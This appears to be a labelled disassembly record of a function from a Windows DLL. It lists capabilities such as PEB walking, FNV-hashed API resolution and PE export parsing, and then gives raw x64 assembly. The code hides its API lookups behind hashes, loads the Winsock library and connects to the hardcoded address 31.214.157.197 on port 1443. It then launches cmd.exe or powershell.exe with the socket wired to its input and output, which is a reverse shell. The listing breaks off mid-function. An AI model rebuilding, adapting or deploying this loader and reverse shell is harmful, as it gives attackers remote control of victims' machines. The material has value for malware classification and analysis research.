Function at 0x180001010
Capabilities:
Access peb ldr_data
Encode data using xor
Get ntdll base address
Get process filename
Hash data using fnv
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x318]
sub rsp, 0x3f0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x2e0], rax
lea rax, str.C:WindowsSystem32WindowsPowerShell_v1.0powershell.exe
mov qword [rbp + 0x1b0], rax
lea rax, str.C:WindowsSystem32cmd.exe
mov qword [rbp + 0x1b8], rax
lea rax, str.powershell.exe
mov qword [rbp + 0x1c0], rax
lea rax, str.cmd.exe
mov qword [rbp + 0x1c8], rax
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rdx, qword [rcx + 0x10]
mov r11, rdx
movabs rdi, 0xe14b18a7acf9c443
movabs r13, 0xcbf29ce484222325
movabs r15, 0x100000001b3
mov r12d, 1
mov r9, r13
movzx r8d, word [rdx + 0x58]
xor r14d, r14d
mov ebx, 0x5a4d
movabs rsi, 0x69d265fe6b1c110f
shr r8, 1
je 0x18000110b
mov r10, qword [rdx + 0x60]
movzx eax, word [r10]
sub ax, 0x41
movzx ecx, word [r10]
add cx, 0x20
cmp ax, 0x19
cmova cx, word [r10]
movzx eax, cx
xor r9, rax
imul r9, r15
lea r10, [r10 + 2]
sub r8, r12
jne 0x1800010da
cmp r9, rdi
je 0x180001118
mov rdx, qword [rdx]
cmp r11, rdx
jne 0x1800010b7
jmp 0x1800011c5
mov rdx, qword [rdx + 0x30]
test rdx, rdx
je 0x1800011c5
cmp word [rdx], bx
jne 0x1800011c5
movsxd rax, dword [rdx + 0x3c]
cmp dword [rax + rdx], 0x4550
jne 0x1800011c5
mov eax, dword [rax + rdx + 0x88]
add rax, rdx
mov r8d, dword [rax + 0x20]
add r8, rdx
mov r11d, dword [rax + 0x24]
add r11, rdx
mov ebx, dword [rax + 0x1c]
add rbx, rdx
mov r9d, r14d
mov edi, dword [rax + 0x18]
test edi, edi
je 0x1800011b6
mov ecx, dword [r8]
add rcx, rdx
mov r10, r13
mov al, byte [rcx]
test al, al
je 0x18000118f
movsx rax, al
xor r10, rax
imul r10, r15
add rcx, r12
mov al, byte [rcx]
test al, al
jne 0x180001176
cmp r10, rsi
je 0x18000119d
add r9d, r12d
add r8, 4
cmp r9d, edi
jb 0x180001167
jmp 0x1800011b6
mov eax, r9d
movzx ecx, word [r11 + rax*2]
mov eax, dword [rbx + rcx*4]
add rax, rdx
je 0x1800011b6
lea rcx, str.kernel32.dll
call rax
movabs rdi, 0xe14b18a7acf9c443
mov ebx, 0x5a4d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rdx, qword [rcx + 0x10]
mov r11, rdx
mov r9, r13
movzx r8d, word [rdx + 0x58]
shr r8, 1
je 0x18000121b
mov r10, qword [rdx + 0x60]
movzx eax, word [r10]
sub ax, 0x41
movzx ecx, word [r10]
add cx, 0x20
cmp ax, 0x19
cmova cx, word [r10]
movzx eax, cx
xor r9, rax
imul r9, r15
lea r10, [r10 + 2]
sub r8, r12
jne 0x1800011ea
cmp r9, rdi
je 0x180001228
mov rdx, qword [rdx]
cmp r11, rdx
jne 0x1800011d9
jmp 0x1800012c3
mov rdx, qword [rdx + 0x30]
test rdx, rdx
je 0x1800012c3
cmp word [rdx], bx
jne 0x1800012c3
movsxd rax, dword [rdx + 0x3c]
cmp dword [rax + rdx], 0x4550
jne 0x1800012c3
mov eax, dword [rax + rdx + 0x88]
add rax, rdx
mov r8d, dword [rax + 0x20]
add r8, rdx
mov r11d, dword [rax + 0x24]
add r11, rdx
mov ebx, dword [rax + 0x1c]
add rbx, rdx
mov r9d, r14d
mov edi, dword [rax + 0x18]
test edi, edi
je 0x1800012c3
mov ecx, dword [r8]
add rcx, rdx
mov r10, r13
mov al, byte [rcx]
test al, al
je 0x18000129b
movsx rax, al
xor r10, rax
imul r10, r15
add rcx, r12
mov al, byte [rcx]
test al, al
jne 0x180001282
cmp r10, rsi
je 0x1800012a9
add r9d, r12d
add r8, 4
cmp r9d, edi
jb 0x180001273
jmp 0x1800012c3
mov eax, r9d
movzx ecx, word [r11 + rax*2]
mov eax, dword [rbx + rcx*4]
add rax, rdx
je 0x1800012c3
lea rcx, str.ws2_32.dll
call rax
nop
mov r15d, 0x104
mov r8d, r15d
xor edx, edx
lea rcx, [rbp + 0x1d0]
call sub.VCRUNTIME140.dll_memset
lea rsi, [rbp + 0x1b0]
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rdx, qword [rcx + 0x10]
mov r11, rdx
movabs rbx, 0x100000001b3
movabs rdi, 0xe14b18a7acf9c443
mov r9, r13
movzx r8d, word [rdx + 0x58]
shr r8, 1
je 0x18000134f
mov r10, qword [rdx + 0x60]
movzx eax, word [r10]
sub ax, 0x41
movzx ecx, word [r10]
add cx, 0x20
cmp ax, 0x19
cmova cx, word [r10]
movzx eax, cx
xor r9, rax
imul r9, rbx
lea r10, [r10 + 2]
sub r8, r12
jne 0x18000131a
cmp r9, rdi
je 0x1800014b0
mov rdx, qword [rdx]
cmp r11, rdx
jne 0x180001309
mov rax, r14
mov rcx, qword [rsi]
call rax
cmp eax, 0xffffffff
je 0x1800013f2
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rdx, qword [rcx + 0x10]
mov r11, rdx
mov r9, r13
movzx r8d, word [rdx + 0x58]
shr r8, 1
je 0x1800013dc
mov r10, qword [rdx + 0x60]
movabs r15, 0x100000001b3
movzx eax, word [r10]
sub ax, 0x41
movzx ecx, word [r10]
add cx, 0x20
cmp ax, 0x19
cmova cx, word [r10]
movzx eax, cx
xor r9, rax
imul r9, r15
lea r10, [r10 + 2]
sub r8, r12
jne 0x180001397
movabs rax, 0xe14b18a7acf9c443
mov r15d, 0x104
cmp r9, rax
je 0x18000156e
mov rdx, qword [rdx]
cmp r11, rdx
jne 0x18000137c
mov rax, r14
call rax
cmp eax, 2
jne 0x1800016ea
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rdx, qword [rcx + 0x10]
mov r11, rdx
mov r9, r13
movzx r8d, word [rdx + 0x58]
shr r8, 1
je 0x180001466
mov r10, qword [rdx + 0x60]
movabs r15, 0x100000001b3
movzx eax, word [r10]
sub ax, 0x41
movzx ecx, word [r10]
add cx, 0x20
cmp ax, 0x19
cmova cx, word [r10]
movzx eax, cx
xor r9, rax
imul r9, r15
lea r10, [r10 + 2]
sub r8, r12
jne 0x180001421
movabs rax, 0xe14b18a7acf9c443
mov r15d, 0x104
cmp r9, rax
je 0x18000162c
mov rdx, qword [rdx]
cmp r11, rdx
jne 0x180001406
mov rax, r14
mov qword [rsp + 0x28], r14
lea rcx, [rbp + 0x1d0]
mov qword [rsp + 0x20], rcx
mov r9d, r15d
xor r8d, r8d
mov rdx, qword [rsi]
xor ecx, ecx
call rax
test eax, eax
jne 0x1800016fd
add rsi, 8
lea rax, [rbp + 0x1d0]
cmp rsi, rax
jne 0x1800012e1
jmp 0x1800016fd
mov rdx, qword [rdx + 0x30]
test rdx, rdx
je 0x180001357
mov eax, 0x5a4d
cmp word [rdx], ax
jne 0x180001357
movsxd rax, dword [rdx + 0x3c]
cmp dword [rax + rdx], 0x4550
jne 0x180001357
mov eax, dword [rax + rdx + 0x88]
add rax, rdx
mov r8d, dword [rax + 0x20]
add r8, rdx
mov r11d, dword [rax + 0x24]
add r11, rdx
mov ebx, dword [rax + 0x1c]
add rbx, rdx
mov r9d, r14d
mov edi, dword [rax + 0x18]
test edi, edi
je 0x180001357
mov ecx, dword [r8]
add rcx, rdx
mov r10, r13
mov al, byte [rcx]
test al, al
je 0x18000154a
movabs r15, 0x100000001b3
movsx rax, al
xor r10, rax
imul r10, r15
add rcx, r12
mov al, byte [rcx]
test al, al
jne 0x180001521
movabs rax, 0x5201e8538774e183
mov r15d, 0x104
cmp r10, rax
je 0x18000155b
add r9d, r12d
add r8, 4
cmp r9d, edi
jb 0x180001508
jmp 0x180001357
mov eax, r9d
movzx ecx, word [r11 + rax*2]
mov eax, dword [rbx + rcx*4]
add rax, rdx
jmp 0x18000135a
mov rdx, qword [rdx + 0x30]
test rdx, rdx
je 0x1800013e4
mov eax, 0x5a4d
cmp word [rdx], ax
jne 0x1800013e4
movsxd rax, dword [rdx + 0x3c]
cmp dword [rax + rdx], 0x4550
jne 0x1800013e4
mov eax, dword [rax + rdx + 0x88]
add rax, rdx
mov r8d, dword [rax + 0x20]
add r8, rdx
mov r11d, dword [rax + 0x24]
add r11, rdx
mov ebx, dword [rax + 0x1c]
add rbx, rdx
mov r9d, r14d
mov edi, dword [rax + 0x18]
test edi, edi
je 0x1800013e4
mov ecx, dword [r8]
add rcx, rdx
mov r10, r13
mov al, byte [rcx]
test al, al
je 0x180001608
movabs r15, 0x100000001b3
movsx rax, al
xor r10, rax
imul r10, r15
add rcx, r12
mov al, byte [rcx]
test al, al
jne 0x1800015df
movabs rax, 0xe0746e00b47c0477
mov r15d, 0x104
cmp r10, rax
je 0x180001619
add r9d, r12d
add r8, 4
cmp r9d, edi
jb 0x1800015c6
jmp 0x1800013e4
mov eax, r9d
movzx ecx, word [r11 + rax*2]
mov eax, dword [rbx + rcx*4]
add rax, rdx
jmp 0x1800013e7
mov rdx, qword [rdx + 0x30]
test rdx, rdx
je 0x18000146e
mov eax, 0x5a4d
cmp word [rdx], ax
jne 0x18000146e
movsxd rax, dword [rdx + 0x3c]
cmp dword [rax + rdx], 0x4550
jne 0x18000146e
mov eax, dword [rax + rdx + 0x88]
add rax, rdx
mov r8d, dword [rax + 0x20]
add r8, rdx
mov r11d, dword [rax + 0x24]
add r11, rdx
mov ebx, dword [rax + 0x1c]
add rbx, rdx
mov r9d, r14d
mov edi, dword [rax + 0x18]
test edi, edi
je 0x18000146e
mov ecx, dword [r8]
add rcx, rdx
mov r10, r13
mov al, byte [rcx]
test al, al
je 0x1800016c6
movabs r15, 0x100000001b3
movsx rax, al
xor r10, rax
imul r10, r15
add rcx, r12
mov al, byte [rcx]
test al, al
jne 0x18000169d
movabs rax, 0x4c01858123264d69
mov r15d, 0x104
cmp r10, rax
je 0x1800016d7
add r9d, r12d
add r8, 4
cmp r9d, edi
jb 0x180001684
jmp 0x18000146e
mov eax, r9d
movzx ecx, word [r11 + rax*2]
mov eax, dword [rbx + rcx*4]
add rax, rdx
jmp 0x180001471
mov r8, qword [rsi]
mov rdx, r15
lea rcx, [rbp + 0x1d0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
lea rcx, [rbp + 0x1d0]
or rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], r14b
jne 0x180001708
test rax, rax
je 0x180002568
xor edx, edx
mov r8d, 0x198
lea rcx, [rbp + 0x10]
call sub.VCRUNTIME140.dll_memset
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rdx, qword [rcx + 0x10]
mov r11, rdx
movabs rsi, 0x4c31d0daddf9ade3
mov r9, r13
movzx r8d, word [rdx + 0x58]
shr r8, 1
je 0x1800017a3
mov r10, qword [rdx + 0x60]
movabs r13, 0x100000001b3
movzx eax, word [r10]
sub ax, 0x41
movzx ecx, word [r10]
add cx, 0x20
cmp ax, 0x19
cmova cx, word [r10]
movzx eax, cx
xor r9, rax
imul r9, r13
lea r10, [r10 + 2]
sub r8, r12
jne 0x180001764
movabs r13, 0xcbf29ce484222325
cmp r9, rsi
je 0x180001a6e
mov rdx, qword [rdx]
cmp r11, rdx
jne 0x180001749
mov rax, r14
mov ecx, 0x202
lea rdx, [rbp + 0x10]
call rax
test eax, eax
jne 0x180002568
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm0
movups xmmword [rbp], xmm0
mov dword [rbp - 0x18], r12d
mov dword [rbp - 0x14], 6
mov qword [rsp + 0x50], r14
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rdx, qword [rcx + 0x10]
mov r11, rdx
mov r9, r13
movzx r8d, word [rdx + 0x58]
shr r8, 1
je 0x18000184a
mov r10, qword [rdx + 0x60]
movabs r15, 0x100000001b3
movzx eax, word [r10]
sub ax, 0x41
movzx ecx, word [r10]
add cx, 0x20
cmp ax, 0x19
cmova cx, word [r10]
movzx eax, cx
xor r9, rax
imul r9, r15
lea r10, [r10 + 2]
sub r8, r12
jne 0x18000180f
mov r15d, 0x5a4d
cmp r9, rsi
je 0x180001b32
mov rdx, qword [rdx]
cmp r11, rdx
jne 0x1800017f4
mov rax, r14
lea r9, [rsp + 0x50]
lea r8, [rbp - 0x20]
lea rdx, str.1443
lea rcx, str.31.214.157.197
call rax
movabs r15, 0x556a045b10de85
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rdx, qword [rcx + 0x10]
mov r11, rdx
movabs rsi, 0xcbf29ce484222325
movabs rbx, 0x4c31d0daddf9ade3
mov r9, rsi
movzx r8d, word [rdx + 0x58]
shr r8, 1
je 0x1800018f0
mov r10, qword [rdx + 0x60]
movabs r13, 0x100000001b3
movzx eax, word [r10]
sub ax, 0x41
movzx ecx, word [r10]
add cx, 0x20
cmp ax, 0x19
cmova cx, word [r10]
movzx eax, cx
xor r9, rax
imul r9, r13
lea r10, [r10 + 2]
sub r8, r12
jne 0x1800018bb
cmp r9, rbx
je 0x180001bf0
mov rdx, qword [rdx]
cmp r11, rdx
jne 0x1800018a0
mov r10, r14
mov rax, qword [rsp + 0x50]
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], r14d
xor r9d, r9d
mov r8d, dword [rax + 0xc]
mov edx, dword [rax + 8]
mov ecx, dword [rax + 4]
call r10
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rdx, qword [rdx + 0x10]
mov r11, rdx
movabs rbx, 0xcbf29ce484222325
mov r9, rbx
movzx r8d, word [rdx + 0x58]
shr r8, 1
je 0x180001995
mov r10, qword [rdx + 0x60]
movabs r13, 0x100000001b3
movzx eax, word [r10]
sub ax, 0x41
movzx ecx, word [r10]
add cx, 0x20
cmp ax, 0x19
cmova cx, word [r10]
movzx eax, cx
xor r9, rax
imul r9, r13
lea r10, [r10 + 2]
sub r8, r12
jne 0x180001956
movabs rax, 0x4c31d0daddf9ade3
cmp r9, rax
je 0x180001cb4
mov rdx, qword [rdx]
cmp r11, rdx
jne 0x18000193b
mov r10, r14
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r14
xor r9d, r9d
mov r8d, dword [rax + 0x10]
mov rdx, qword [rax + 0x20]
mov rcx, rsi
call r10
test eax, eax
je 0x180001e2f
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rdx, qword [rcx + 0x10]
mov r11, rdx
movabs rax, 0xcbf29ce484222325
mov r9, rax
movzx r8d, word [rdx + 0x58]
shr r8, 1
je 0x180001a59
mov r10, qword [rdx + 0x60]
movabs r13, 0x100000001b3
movzx eax, word [r10]
sub ax, 0x41
movzx ecx, word [r10]
add cx, 0x20
cmp ax, 0x19
cmova cx, word [r10]
movzx eax, cx
xor r9, rax
imul r9, r13
lea r10, [r10 + 2]
sub r8, r12
jne 0x180001a06
movabs rax, 0x4c31d0daddf9ade3
movabs r13, 0xd064f115fa7ddde2
cmp r9, rax
je 0x180001d7e
movabs rax, 0xcbf29ce484222325
mov rdx, qword [rdx]
cmp r11, rdx
jne 0x1800019eb
mov rax, r14
mov rcx, rsi
call rax
jmp 0x180001878
mov rdx, qword [rdx + 0x30]
test rdx, rdx
je 0x1800017ab
mov r15d, 0x5a4d
cmp word [rdx], r15w
jne 0x1800017ab
movsxd rax, dword [rdx + 0x3c]
cmp dword [rax + rdx], 0x4550
jne 0x1800017ab
mov eax, dword [rax + rdx + 0x88]
add rax, rdx
mov r8d, dword [rax + 0x20]
add r8, rdx
mov r11d, dword [rax + 0x24]
add r11, rdx
mov ebx, dword [rax + 0x1c]
add rbx, rdx
mov r9d, r14d
mov edi, dword [rax + 0x18]
test edi, edi
je 0x1800017ab
mov ecx, dword [r8]
add rcx, rdx
mov r10, r13
mov al, byte [rcx]
test al, al
je 0x180001b0e
movabs rsi, 0x100000001b3
movsx rax, al
xor r10, rax
imul r10, rsi
add rcx, r12
mov al, byte [rcx]
test al, al
jne 0x180001ae1
movabs rsi, 0x4c31d0daddf9ade3
movabs rax, 0xcc7d924ffe59af5f
cmp r10, rax
je 0x180001b1f
add r9d, r12d
add r8, 4
cmp r9d, edi
jb 0x180001ac8
jmp 0x1800017ab
mov eax, r9d
movzx ecx, word [r11 + rax*2]
mov eax, dword [rbx + rcx*4]
add rax, rdx
jmp 0x1800017ae
mov rdx, qword [rdx + 0x30]
test rdx, rdx
je 0x180001852
cmp word [rdx], r15w
jne 0x180001852
movsxd rax, dword [rdx + 0x3c]
cmp dword [rax + rdx], 0x4550
jne 0x180001852
mov eax, dword [rax + rdx + 0x88]
add rax, rdx
mov r8d, dword [rax + 0x20]
add r8, rdx
mov r11d, dword [rax + 0x24]
add r11, rdx
mov ebx, dword [rax + 0x1c]
add rbx, rdx
mov r9d, r14d
mov edi, dword [rax + 0x18]
test edi, edi
je 0x180001852
mov ecx, dword [r8]
add rcx, rdx
mov r10, r13
mov al, byte [rcx]
test al, al
je 0x180001bcc
movabs r13, 0x100000001b3
movsx rax, al
xor r10, rax
imul r10, r13
add rcx, r12
mov al, byte [rcx]
test al, al
jne 0x180001b9f
movabs rax, 0x967e4c1a47e75b6c
movabs r13, 0xcbf29ce484222325
cmp r10, rax
je 0x180001bdd
add r9d, r12d
add r8, 4
cmp r9d, edi
jb 0x180001b86
jmp 0x180001852
mov eax, r9d
movzx ecx, word [r11 + rax*2]
mov eax, dword [rbx + rcx*4]
add rax, rdx
jmp 0x180001855
mov r8, qword [rdx + 0x30]
test r8, r8
je 0x1800018f8
mov eax, 0x5a4d
cmp word [r8], ax
jne 0x1800018f8
movsxd rax, dword [r8 + 0x3c]
cmp dword [rax + r8], 0x4550
jne 0x1800018f8
mov eax, dword [rax + r8 + 0x88]
add rax, r8
mov edx, dword [rax + 0x20]
add rdx, r8
mov r11d, dword [rax + 0x24]
add r11, r8
mov ebx, dword [rax + 0x1c]
add rbx, r8
mov r9d, r14d
mov edi, dword [rax + 0x18]
test edi, edi
je 0x1800018f8
mov ecx, dword [rdx]
add rcx, r8
mov r10, rsi
mov al, byte [rcx]
test al, al
je 0x180001c8f
movabs r15, 0x100000001b3
movsx rax, al
xor r10, rax
imul r10, r15
add rcx, r12
mov al, byte [rcx]
test al, al
jne 0x180001c62
movabs rax, 0x4438ea140a23edfc
movabs r15, 0x556a045b10de85
cmp r10, rax
je 0x180001ca0
add r9d, r12d
add rdx, 4
cmp r9d, edi
jb 0x180001c4a
jmp 0x1800018f8
mov eax, r9d
movzx ecx, word [r11 + rax*2]
mov r10d, dword [rbx + rcx*4]
add r10, r8
jmp 0x1800018fb
mov rdx, qword [rdx + 0x30]
test rdx, rdx
je 0x18000199d
mov eax, 0x5a4d
cmp word [rdx], ax
jne 0x18000199d
movsxd rax, dword [rdx + 0x3c]
cmp dword [rax + rdx], 0x4550
jne 0x18000199d
mov eax, dword [rax + rdx + 0x88]
add rax, rdx
mov r8d, dword [rax + 0x20]
add r8, rdx
mov r11d, dword [rax + 0x24]
add r11, rdx
mov ebx, dword [rax + 0x1c]
add rbx, rdx
mov r9d, r14d
mov edi, dword [rax + 0x18]
test edi, edi
je 0x18000199d
mov ecx, dword [r8]
add rcx, rdx
movabs r10, 0xcbf29ce484222325
mov al, byte [rcx]
test al, al
je 0x180001d59
movabs r15, 0x100000001b3
movsx rax, al
xor r10, rax
imul r10, r15
add rcx, r12
mov al, byte [rcx]
test al, al
jne 0x180001d2c
movabs rax, 0xb09b2464f1428ad8
movabs r15, 0x556a045b10de85
cmp r10, rax
je 0x180001d6a
add r9d, r12d
add r8, 4
cmp r9d, edi
jb 0x180001d0c
jmp 0x18000199d
mov eax, r9d
movzx ecx, word [r11 + rax*2]
mov r10d, dword [rbx + rcx*4]
add r10, rdx
jmp 0x1800019a0
mov r8, qword [rdx + 0x30]
test r8, r8
je 0x180001a61
mov eax, 0x5a4d
cmp word [r8], ax
jne 0x180001a61
movsxd rax, dword [r8 + 0x3c]
cmp dword [rax + r8], 0x4550
jne 0x180001a61
mov eax, dword [rax + r8 + 0x88]
add rax, r8
mov edx, dword [rax + 0x20]
add rdx, r8
mov r11d, dword [rax + 0x24]
add r11, r8
mov ebx, dword [rax + 0x1c]
add rbx, r8
mov r9d, r14d
mov edi, dword [rax + 0x18]
test edi, edi
je 0x180001a61
mov ecx, dword [rdx]
add rcx, r8
movabs r10, 0xcbf29ce484222325
mov al, byte [rcx]
test al, al
je 0x180001e1e
movabs r15, 0x100000001b3
movsx rax, al
xor r10, rax
imul r10, r15
add rcx, r12
mov al, byte [rcx]
test al, al
jne 0x180001df7
movabs r15, 0x556a045b10de85
cmp r10, r13
je 0x180002555
add r9d, r12d
add rdx, 4
cmp r9d, edi
jb 0x180001dd8
jmp 0x180001a61
mov ebx, 0x68
mov r8d, ebx
xor edx, edx
lea rcx, [rsp + 0x70]
call sub.VCRUNTIME140.dll_memset
mov dword [rsp + 0x70], ebx
mov dword [rbp - 0x54], 0x101
mov word [rbp - 0x50], r14w
mov qword [rbp - 0x40], rsi
mov qword [rbp - 0x38], rsi
mov qword [rbp - 0x30], rsi
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], rax
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rdx, qword [rcx + 0x10]
mov r11, rdx
movabs rax, 0xcbf29ce484222325
mov r9, rax
movzx r8d, word [rdx + 0x58]
shr r8, 1
je 0x180001efa
mov r10, qword [rdx + 0x60]
movabs r15, 0x100000001b3
movzx eax, word [r10]
sub ax, 0x41
movzx ecx, word [r10]
add cx, 0x20
cmp ax, 0x19
cmova cx, word [r10]
movzx eax, cx
xor r9, rax
imul r9, r15
lea r10, [r10 + 2]
sub r8, r12
jne 0x180001ea7
movabs rax, 0xe14b18a7acf9c443
movabs r15, 0x556a045b10de85
cmp r9, rax
je 0x1800021a0
movabs rax, 0xcbf29ce484222325
mov rdx, qword [rdx]
cmp r11, rdx
jne 0x180001e8c
mov rax, r14
lea rcx, [rsp + 0x58]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x1d0]
xor ecx, ecx
call rax
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rdx, qword [rcx + 0x10]
mov r11, rdx
movabs rax, 0xcbf29ce484222325
mov r9, rax
movzx r8d, word [rdx + 0x58]
shr r8, 1
je 0x180001fca
mov r10, qword [rdx + 0x60]
movabs r15, 0x100000001b3
movzx eax, word [r10]
sub ax, 0x41
movzx ecx, word [r10]
add cx, 0x20
cmp ax, 0x19
cmova cx, word [r10]
movzx eax, cx
xor r9, rax
imul r9, r15
lea r10, [r10 + 2]
sub r8, r12
jne 0x180001f77
movabs rax, 0xe14b18a7acf9c443
movabs r15, 0x556a045b10de85
cmp r9, rax
je 0x180002269
movabs rax, 0xcbf29ce484222325
mov rdx, qword [rdx]
cmp r11, rdx
jne 0x180001f5c
mov rax, r14
or edx, 0xffffffff
mov rcx, qword [rsp + 0x58]
call rax
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rdx, qword [rcx + 0x10]
mov r11, rdx
movabs rax, 0xcbf29ce484222325
mov r9, rax
movzx r8d, word [rdx + 0x58]
shr r8, 1
je 0x18000206b
mov r10, qword [rdx + 0x60]
movabs r15, 0x100000001b3
movzx eax, word [r10]
sub ax, 0x41
movzx ecx, word [r10]
add cx, 0x20
cmp ax, 0x19
cmova cx, word [r10]
movzx eax, cx
xor r9, rax
imul r9, r15
lea r10, [r10 + 2]
sub r8, r12
jne 0x180002018
movabs rax, 0xe14b18a7acf9c443
movabs r15, 0x556a045b10de85
cmp r9, rax
je 0x180002332
movabs rax, 0xcbf29ce484222325
mov rdx, qword [rdx]
cmp r11, rdx
jne 0x180001ffd
mov rax, r14
mov rcx, qword [rsp + 0x58]
call rax
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rdx, qword [rcx + 0x10]
mov r11, rdx
movabs rax, 0xcbf29ce484222325
mov r9, rax
movzx r8d, word [rdx + 0x58]
shr r8, 1
je 0x1800020ff
mov r10, qword [rdx + 0x60]
movabs r13, 0x100000001b3
movzx eax, word [r10]
sub ax, 0x41
movzx ecx, word [r10]
add cx, 0x20
cmp ax, 0x19
cmova cx, word [r10]
movzx eax, cx
xor r9, rax
imul r9, r13
lea r10, [r10 + 2]
sub r8, r12
jne 0x1800020b6
movabs rax, 0xe14b18a7acf9c443
cmp r9, rax
je 0x1800023f2
movabs rax, 0xcbf29ce484222325
mov rdx, qword [rdx]
cmp r11, rdx
jne 0x18000209b
mov rax, r14
mov rcx, qword [rsp + 0x60]
call rax
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rdx, qword [rcx + 0x10]
mov r11, rdx
movabs rax, 0xcbf29ce484222325
mov r9, rax
movzx r8d, word [rdx + 0x58]
shr r8, 1
je 0x180002193
mov r10, qword [rdx + 0x60]
movabs r13, 0x100000001b3
movzx eax, word [r10]
sub ax, 0x41
movzx ecx, word [r10]
add cx, 0x20
cmp ax, 0x19
cmova cx, word [r10]
movzx eax, cx
xor r9, rax
imul r9, r13
lea r10, [r10 + 2]
sub r8, r12
jne 0x18000214a
movabs rax, 0x4c31d0daddf9ade3
cmp r9, rax
je 0x1800024a8
movabs rax, 0xcbf29ce484222325
mov rdx, qword [rdx]
cmp r11, rdx
jne 0x18000212f
jmp 0x180001a61
mov rdx, qword [rdx + 0x30]
test rdx, rdx
je 0x180001f02
mov eax, 0x5a4d
cmp word [rdx], ax
jne 0x180001f02
movsxd rax, dword [rdx + 0x3c]
cmp dword [rax + rdx], 0x4550
jne 0x180001f02
mov eax, dword [rax + rdx + 0x88]
add rax, rdx
mov r8d, dword [rax + 0x20]
add r8, rdx
mov r11d, dword [rax + 0x24]
add r11, rdx
mov ebx, dword [rax + 0x1c]
add rbx, rdx
mov r9d, r14d
mov edi, dword [rax + 0x18]
test edi, edi
je 0x180001f02
mov ecx, dword [r8]
add rcx, rdx
movabs r10, 0xcbf29ce484222325
mov al, byte [rcx]
test al, al
je 0x180002245
movabs r15, 0x100000001b3
movsx rax, al
xor r10, rax
imul r10, r15
add rcx, r12
mov al, byte [rcx]
test al, al
jne 0x180002218
movabs rax, 0x9c757b1c853aef89
movabs r15, 0x556a045b10de85
cmp r10, rax
je 0x180002256
add r9d, r12d
add r8, 4
cmp r9d, edi
jb 0x1800021f8
jmp 0x180001f02
mov eax, r9d
movzx ecx, word [r11 + rax*2]
mov eax, dword [rbx + rcx*4]
add rax, rdx
jmp 0x180001f05
mov rdx, qword [rdx + 0x30]
test rdx, rdx
je 0x180001fd2
mov eax, 0x5a4d
cmp word [rdx], ax
jne 0x180001fd2
movsxd rax, dword [rdx + 0x3c]
cmp dword [rax + rdx], 0x4550
jne 0x180001fd2
mov eax, dword [rax + rdx + 0x88]
add rax, rdx
mov r8d, dword [rax + 0x20]
add r8, rdx
mov r11d, dword [rax + 0x24]
add r11, rdx
mov ebx, dword [rax + 0x1c]
add rbx, rdx
mov r9d, r14d
mov edi, dword [rax + 0x18]
test edi, edi
je 0x180001fd2
mov ecx, dword [r8]
add rcx, rdx
movabs r10, 0xcbf29ce484222325
mov al, byte [rcx]
test al, al
je 0x18000230e
movabs r15, 0x100000001b3
movsx rax, al
xor r10, rax
imul r10, r15
add rcx, r12
mov al, byte [rcx]
test al, al
jne 0x1800022e1
movabs rax, 0xe4371c909d216364
movabs r15, 0x556a045b10de85
cmp r10, rax
je 0x18000231f
add r9d, r12d
add r8, 4
cmp r9d, edi
jb 0x1800022c1
jmp 0x180001fd2
mov eax, r9d
movzx ecx, word [r11 + rax*2]
mov eax, dword [rbx + rcx*4]
add rax, rdx
jmp 0x180001fd5
mov r8, qword [rdx + 0x30]
test r8, r8
je 0x180002073
mov eax, 0x5a4d
cmp word [r8], ax
jne 0x180002073
movsxd rax, dword [r8 + 0x3c]
cmp dword [rax + r8], 0x4550
jne 0x180002073
mov eax, dword [rax + r8 + 0x88]
add rax, r8
mov edx, dword [rax + 0x20]
add rdx, r8
mov r11d, dword [rax + 0x24]
add r11, r8
mov ebx, dword [rax + 0x1c]
add rbx, r8
mov r9d, r14d
mov edi, dword [rax + 0x18]
test edi, edi
je 0x180002073
mov ecx, dword [rdx]
add rcx, r8
movabs r10, 0xcbf29ce484222325
mov al, byte [rcx]
test al, al
je 0x1800023ce
movabs r15, 0x100000001b3
movsx rax, al
xor r10, rax
imul r10, r15
add rcx, r12
mov al, byte [rcx]
test al, al
jne 0x1800023ab
movabs r15, 0x556a045b10de85
cmp r10, r15
je 0x1800023df
add r9d, r12d
add rdx, 4
cmp r9d, edi
jb 0x18000238c
jmp 0x180002073
mov eax, r9d
movzx ecx, word [r11 + rax*2]
mov eax, dword [rbx + rcx*4]
add rax, r8
jmp 0x180002076
mov r8, qword [rdx + 0x30]
test r8, r8
je 0x180002107
mov eax, 0x5a4d
cmp word [r8], ax
